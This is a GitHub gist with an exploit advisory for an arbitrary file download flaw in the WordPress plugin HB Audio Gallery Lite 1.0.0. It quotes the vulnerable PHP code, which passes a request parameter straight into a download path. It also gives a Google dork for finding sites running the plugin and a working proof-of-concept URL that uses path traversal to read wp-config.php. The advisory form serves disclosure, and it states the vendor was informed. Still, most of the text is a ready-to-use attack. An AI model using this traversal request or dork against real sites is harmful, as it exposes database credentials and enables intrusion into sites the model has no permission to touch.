Skip to content

Instantly share code, notes, and snippets.

@CCrashBandicot

CCrashBandicot/HBAudioGalleryLite_dl.txt

Created March 31, 2016 01:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CCrashBandicot/7088b300509e1179d7a9196b7f0909fb to your computer and use it in GitHub Desktop.
Save CCrashBandicot/7088b300509e1179d7a9196b7f0909fb to your computer and use it in GitHub Desktop.
Download ZIP
Raw
HBAudioGalleryLite_dl.txt
# Exploit Title: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Download
# Exploit Author: CrashBandicot
# Date: 2016-03-22
# Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite
# Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/
# Tested on: MSWin32
# Version: 1.0.0
# Vuln file : gallery/audio-download.php
11. if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {
13. $file_size = $_REQUEST['file_size'];
15. $file = $_REQUEST['file_path'];
17. $filename = basename($file);
....
55. Header("Content-Disposition: attachment; filename='" . $filename . "'");
# PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10
# 22/03/2016 - Informed Vendor about Issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment